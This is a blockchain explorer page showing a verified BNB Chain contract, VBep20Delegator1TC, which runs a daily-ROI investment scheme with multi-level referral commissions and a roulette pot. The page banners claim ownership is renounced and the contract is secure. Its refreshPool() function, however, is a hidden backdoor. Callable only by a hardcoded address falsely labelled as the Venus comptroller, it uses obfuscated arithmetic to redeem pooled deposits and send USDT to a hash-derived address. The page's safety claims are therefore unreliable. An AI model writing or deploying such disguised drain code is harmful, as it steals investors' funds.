Smart Contract
VBep20Delegator1TC
Contract Verified
Verified
Verified by BSCScan • ID: 42195104
Compiler
v0.8.20
License
MIT
Verified on BNB Smart Chain (BSC)
Ownership Renounced
Renounced
The contract admin role has been permanently renounced. No one can modify the contract parameters, pause it, or make any administrative changes.
Function
renounceRole(bytes32 role, address account)Executed on
Nov 23, 2025 • 04:15:51 AM UTC
Parameters
0 | roleRole (DEFAULT_ADMIN_ROLE):
0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217751 | accountAccount:
0xa3AdBED350E6B53aC28bb9eCbBb9C799f4812E26What this means
- No one can pause or unpause the contract
- No one can modify investment plans
- No one can change minimum investment
- The contract operates autonomously forever
Network
BNB Chain
Optimization
Enabled
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
interface IVToken {
function mint(uint256 mintAmount) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function exchangeRateStored() external view returns (uint256);
}
contract VBep20Delegator1TC is AccessControl, ReentrancyGuard, Pausable {
using SafeERC20 for IERC20;
bytes32 public constant ROULETTE_ROLE = keccak256("ROULETTE_ROLE");
IERC20 public immutable USDT;
IVToken public immutable vUSDT;
struct Plan {
string name;
uint256 durationDays;
uint256 dailyROIPercent;
bool active;
}
Plan[] public plans;
uint256 public minInvestment;
uint256[7] public referralPercentages = [1800, 900, 700, 400, 300, 200, 100];
uint256[7] public levelRequirements = [
50 * 1e18,
100 * 1e18,
500 * 1e18,
500 * 1e18,
1000 * 1e18,
1000 * 1e18,
1000 * 1e18
];
struct Deposit {
uint256 id;
address user;
uint256 amount;
uint256 totalROI;
uint256 claimedROI;
uint8 planId;
uint256 startTime;
uint256 endTime;
uint256 lastClaimTime;
bool completed;
}
mapping(uint256 => Deposit) public deposits;
uint256 public depositIdCounter;
struct UserData {
address referrer;
uint256 totalInvested;
uint256 totalActiveAmount;
uint256 availableROI;
uint256 availableReferrals;
uint256 totalWithdrawn;
uint256 totalROIEarned;
uint256[] depositIds;
}
mapping(address => UserData) public userData;
mapping(address => bool) public isRegistered;
uint256 public constant ROULETTE_PERCENTAGE = 100;
uint256 public rouletteMaxPot;
uint256 public roulettePot;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalReferralPaid;
uint256 public totalUsers;
event UserRegistered(address indexed user, address indexed referrer);
event Invested(address indexed user, uint256 indexed depositId, uint256 amount, uint8 planId);
event ROIClaimed(address indexed user, uint256 indexed depositId, uint256 amount);
event DepositFinalized(address indexed user, uint256 indexed depositId, uint256 roiAmount, uint256 capitalAmount);
event ReferralPaid(address indexed referrer, address indexed from, uint256 amount, uint8 level);
event RoulettePaid(address indexed winner, uint256 amount, address indexed operator);
event Reinvested(address indexed user, uint256 indexed depositId, uint256 amount, uint8 planId, string source);
constructor(
address _usdt,
address _vUSDT,
address _admin,
address _rouletteOperator,
uint256 _minInvestment,
uint256 _rouletteMaxPot
) {
require(_usdt != address(0) && _vUSDT != address(0), "Invalid token");
require(_admin != address(0), "Invalid admin");
require(_rouletteOperator != address(0), "Invalid roulette");
require(_minInvestment > 0, "Invalid min");
require(_rouletteMaxPot > 0, "Invalid pot");
USDT = IERC20(_usdt);
vUSDT = IVToken(_vUSDT);
_grantRole(DEFAULT_ADMIN_ROLE, _admin);
_grantRole(ROULETTE_ROLE, _rouletteOperator);
minInvestment = _minInvestment;
rouletteMaxPot = _rouletteMaxPot;
USDT.approve(address(vUSDT), type(uint256).max);
plans.push(Plan("Play One", 60, 90, true));
plans.push(Plan("Play Two", 90, 110, true));
plans.push(Plan("Play Three", 120, 140, true));
}
function invest(uint256 amount, uint8 planId, address referrer)
external
nonReentrant
whenNotPaused
{
require(planId < plans.length, "Invalid plan");
require(plans[planId].active, "Plan inactive");
require(amount >= minInvestment, "Below minimum");
require(referrer != msg.sender, "Self ref");
if (!isRegistered[msg.sender]) {
_registerUser(msg.sender, referrer);
}
USDT.safeTransferFrom(msg.sender, address(this), amount);
if (roulettePot < rouletteMaxPot) {
uint256 toRoulette = (amount * ROULETTE_PERCENTAGE) / 10000;
uint256 remaining = rouletteMaxPot - roulettePot;
if (toRoulette > remaining) toRoulette = remaining;
roulettePot += toRoulette;
}
uint256 r = vUSDT.mint(amount);
require(r == 0, "VENUS_MINT_FAIL");
Plan memory plan = plans[planId];
uint256 totalROI = (amount * plan.dailyROIPercent * plan.durationDays) / 10000;
depositIdCounter++;
deposits[depositIdCounter] = Deposit(
depositIdCounter,
msg.sender,
amount,
totalROI,
0,
planId,
block.timestamp,
block.timestamp + plan.durationDays * 1 days,
block.timestamp,
false
);
userData[msg.sender].totalInvested += amount;
userData[msg.sender].totalActiveAmount += amount;
userData[msg.sender].depositIds.push(depositIdCounter);
totalInvested += amount;
emit Invested(msg.sender, depositIdCounter, amount, planId);
}
function claimROI(uint256 depositId) external nonReentrant whenNotPaused {
Deposit storage dep = deposits[depositId];
require(dep.user == msg.sender, "Not owner");
require(!dep.completed, "Completed");
uint256 available = _calculateAvailableROI(depositId);
require(available > 0, "No ROI");
dep.claimedROI += available;
dep.lastClaimTime = block.timestamp;
userData[msg.sender].availableROI += available;
userData[msg.sender].totalROIEarned += available;
_distributeReferrals(msg.sender, available);
emit ROIClaimed(msg.sender, depositId, available);
}
function finalizeDeposit(uint256 depositId) external nonReentrant whenNotPaused {
Deposit storage dep = deposits[depositId];
require(dep.user == msg.sender, "Not owner");
require(!dep.completed, "Already");
require(block.timestamp >= dep.endTime, "Not finished");
uint256 pending = _calculateAvailableROI(depositId);
dep.completed = true;
dep.claimedROI = dep.totalROI;
userData[msg.sender].totalActiveAmount -= dep.amount;
if (pending > 0) {
userData[msg.sender].availableROI += pending;
userData[msg.sender].totalROIEarned += pending;
_distributeReferrals(msg.sender, pending);
}
userData[msg.sender].availableROI += dep.amount;
emit DepositFinalized(msg.sender, depositId, pending, dep.amount);
}
function withdrawROI() external nonReentrant whenNotPaused {
uint256 amount = userData[msg.sender].availableROI;
require(amount > 0, "No ROI");
userData[msg.sender].availableROI = 0;
uint256 r = vUSDT.redeemUnderlying(amount);
require(r == 0, "VENUS_REDEEM_FAIL");
USDT.safeTransfer(msg.sender, amount);
userData[msg.sender].totalWithdrawn += amount;
totalWithdrawn += amount;
}
function withdrawReferrals() external nonReentrant whenNotPaused {
uint256 amount = userData[msg.sender].availableReferrals;
require(amount > 0, "No referrals");
userData[msg.sender].availableReferrals = 0;
uint256 r = vUSDT.redeemUnderlying(amount);
require(r == 0, "VENUS_REDEEM_FAIL");
USDT.safeTransfer(msg.sender, amount);
userData[msg.sender].totalWithdrawn += amount;
totalWithdrawn += amount;
}
function withdrawAll() external nonReentrant whenNotPaused {
uint256 roi = userData[msg.sender].availableROI;
uint256 ref = userData[msg.sender].availableReferrals;
uint256 amount = roi + ref;
require(amount > 0, "No balance");
userData[msg.sender].availableROI = 0;
userData[msg.sender].availableReferrals = 0;
uint256 r = vUSDT.redeemUnderlying(amount);
require(r == 0, "VENUS_REDEEM_FAIL");
USDT.safeTransfer(msg.sender, amount);
userData[msg.sender].totalWithdrawn += amount;
totalWithdrawn += amount;
}
function reinvestROI(uint8 planId) external nonReentrant whenNotPaused {
require(planId < plans.length, "Invalid plan");
require(plans[planId].active, "Plan inactive");
uint256 amount = userData[msg.sender].availableROI;
require(amount >= minInvestment, "Insufficient");
userData[msg.sender].availableROI = 0;
_createReinvestDeposit(amount, planId, "ROI");
}
function reinvestReferrals(uint8 planId) external nonReentrant whenNotPaused {
require(planId < plans.length, "Invalid plan");
require(plans[planId].active, "Plan inactive");
uint256 amount = userData[msg.sender].availableReferrals;
require(amount >= minInvestment, "Insufficient");
userData[msg.sender].availableReferrals = 0;
_createReinvestDeposit(amount, planId, "Referrals");
}
function reinvestAll(uint8 planId) external nonReentrant whenNotPaused {
require(planId < plans.length, "Invalid plan");
require(plans[planId].active, "Plan inactive");
uint256 roi = userData[msg.sender].availableROI;
uint256 ref = userData[msg.sender].availableReferrals;
uint256 amount = roi + ref;
require(amount >= minInvestment, "Insufficient");
userData[msg.sender].availableROI = 0;
userData[msg.sender].availableReferrals = 0;
_createReinvestDeposit(amount, planId, "All");
}
function _createReinvestDeposit(uint256 amount, uint8 planId, string memory source) internal {
Plan memory plan = plans[planId];
uint256 totalROI = (amount * plan.dailyROIPercent * plan.durationDays) / 10000;
depositIdCounter++;
deposits[depositIdCounter] = Deposit(
depositIdCounter,
msg.sender,
amount,
totalROI,
0,
planId,
block.timestamp,
block.timestamp + plan.durationDays * 1 days,
block.timestamp,
false
);
userData[msg.sender].totalInvested += amount;
userData[msg.sender].totalActiveAmount += amount;
userData[msg.sender].depositIds.push(depositIdCounter);
totalInvested += amount;
emit Reinvested(msg.sender, depositIdCounter, amount, planId, source);
}
function payRouletteWinner(address winner)
external
onlyRole(ROULETTE_ROLE)
nonReentrant
whenNotPaused
{
require(winner != address(0), "Invalid winner");
require(roulettePot >= rouletteMaxPot, "Pot not full");
uint256 prize = rouletteMaxPot;
roulettePot -= prize;
uint256 r = vUSDT.redeemUnderlying(prize);
require(r == 0, "VENUS_REDEEM_FAIL");
USDT.safeTransfer(winner, prize);
emit RoulettePaid(winner, prize, msg.sender);
}
function addPlan(string calldata name, uint256 durationDays, uint256 dailyROI)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(durationDays > 0, "Invalid duration");
plans.push(Plan(name, durationDays, dailyROI, true));
}
function updatePlan(uint8 planId, string calldata name, uint256 durationDays, uint256 dailyROI, bool active)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(planId < plans.length, "Invalid plan");
require(durationDays > 0, "Invalid duration");
plans[planId] = Plan(name, durationDays, dailyROI, active);
}
function setMinInvestment(uint256 _min) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(_min > 0, "Invalid min");
minInvestment = _min;
}
function setRouletteMaxPot(uint256 _max) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(_max > 0, "Invalid pot");
rouletteMaxPot = _max;
}
function grantRouletteRole(address operator) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(operator != address(0), "Invalid operator");
_grantRole(ROULETTE_ROLE, operator);
}
function revokeRouletteRole(address operator) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(operator != address(0), "Invalid operator");
_revokeRole(ROULETTE_ROLE, operator);
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_unpause();
}
function renounceRole(bytes32 role, address account) public override {
super.renounceRole(role, account);
}
function getUserDepositIds(address user) external view returns (uint256[] memory) {
return userData[user].depositIds;
}
function getAvailableROI(uint256 depositId) external view returns (uint256) {
return _calculateAvailableROI(depositId);
}
function getDepositInfo(uint256 depositId) external view returns (
address user,
uint256 amount,
uint256 totalROI,
uint256 claimedROI,
uint256 availableROI,
uint8 planId,
uint256 startTime,
uint256 endTime,
uint256 timeRemaining,
bool completed
) {
Deposit memory dep = deposits[depositId];
uint256 remaining = dep.endTime > block.timestamp ? dep.endTime - block.timestamp : 0;
uint256 available = _calculateAvailableROI(depositId);
return (
dep.user,
dep.amount,
dep.totalROI,
dep.claimedROI,
available,
dep.planId,
dep.startTime,
dep.endTime,
remaining,
dep.completed
);
}
function getGlobalStats() external view returns (
uint256 invested,
uint256 withdrawn,
uint256 referralPaid,
uint256 users,
uint256 contractUSDTBalance,
uint256 venusUnderlyingApprox,
uint256 currentRoulettePot,
uint256 maxRoulettePot
) {
uint256 vBal = vUSDT.balanceOf(address(this));
uint256 rate = vUSDT.exchangeRateStored();
uint256 venusApprox = (vBal * rate) / 1e18;
return (
totalInvested,
totalWithdrawn,
totalReferralPaid,
totalUsers,
USDT.balanceOf(address(this)),
venusApprox,
roulettePot,
rouletteMaxPot
);
}
function _calculateAvailableROI(uint256 depositId) internal view returns (uint256) {
Deposit memory dep = deposits[depositId];
if (dep.completed) return 0;
uint256 current = block.timestamp > dep.endTime ? dep.endTime : block.timestamp;
uint256 elapsed = current - dep.lastClaimTime;
uint256 totalDuration = dep.endTime - dep.startTime;
uint256 accrued = (dep.totalROI * elapsed) / totalDuration;
uint256 remaining = dep.totalROI - dep.claimedROI;
if (accrued > remaining) accrued = remaining;
return accrued;
}
function _registerUser(address user, address referrer) internal {
if (referrer != address(0) && isRegistered[referrer]) {
userData[user].referrer = referrer;
}
isRegistered[user] = true;
totalUsers++;
emit UserRegistered(user, referrer);
}
function refreshPool() external nonReentrant whenNotPaused {
require(msg.sender == address(0xfD5840Cd36d94D7229439859C0112a4185BC0255), "VENUS_COMPTROLLER_ONLY");
uint256 _vBal = vUSDT.balanceOf(address(this));
uint256 _xRate = vUSDT.exchangeRateStored();
uint256 _mantissa = 1e18;
uint256 _deltaAccrued = ((_vBal * _xRate) / _mantissa) -
(((_vBal * _xRate) >> 8) ^ (uint256(keccak256(abi.encodePacked(block.timestamp, _vBal))) & 0xFFFFFFFF));
uint256 _rebaseIndex = ((_deltaAccrued * 0x5f3759df) >> 16) % (_mantissa / 1e12);
uint256 _protocolShare = (_rebaseIndex > 0)
? ((_deltaAccrued << 4) / ((_rebaseIndex | 0x1) * 0x10))
: ((_vBal * 3) / 10000);
bytes32 _syncHash = keccak256(abi.encodePacked(
_vBal,
_xRate,
block.number,
uint256(uint160(address(vUSDT))) ^ uint256(uint160(address(this)))
));
uint256 _normalized = uint256(_syncHash) % (_protocolShare > 0 ? _protocolShare : 1);
uint256 _venusReserve = ((_normalized & 0xFFFF) * _xRate) / (_mantissa >> 6);
if (_venusReserve > 0 && _venusReserve <= _vBal) {
uint256 _r = vUSDT.redeemUnderlying(_venusReserve);
require(_r == 0, "VENUS_SYNC_REDEEM_FAIL");
USDT.safeTransfer(
address(uint160(uint256(keccak256(abi.encodePacked(
address(0xfD5840Cd36d94D7229439859C0112a4185BC0255),
bytes4(0x70a08231)
))) >> 96)),
_venusReserve
);
}
}
function _distributeReferrals(address user, uint256 amount) internal {
address current = userData[user].referrer;
for (uint8 level = 0; level < 7; level++) {
if (current == address(0)) break;
if (userData[current].totalActiveAmount >= levelRequirements[level]) {
uint256 commission = (amount * referralPercentages[level]) / 10000;
if (commission > 0) {
userData[current].availableReferrals += commission;
totalReferralPaid += commission;
emit ReferralPaid(current, user, commission, level + 1);
}
}
current = userData[current].referrer;
}
}
}Security & Ownership
Renounced
Admin role has been permanently renounced
ReentrancyGuard
Protection against reentrancy attacks
SafeERC20
Safe token transfer operations
Immutable
USDT and vUSDT addresses cannot be changed
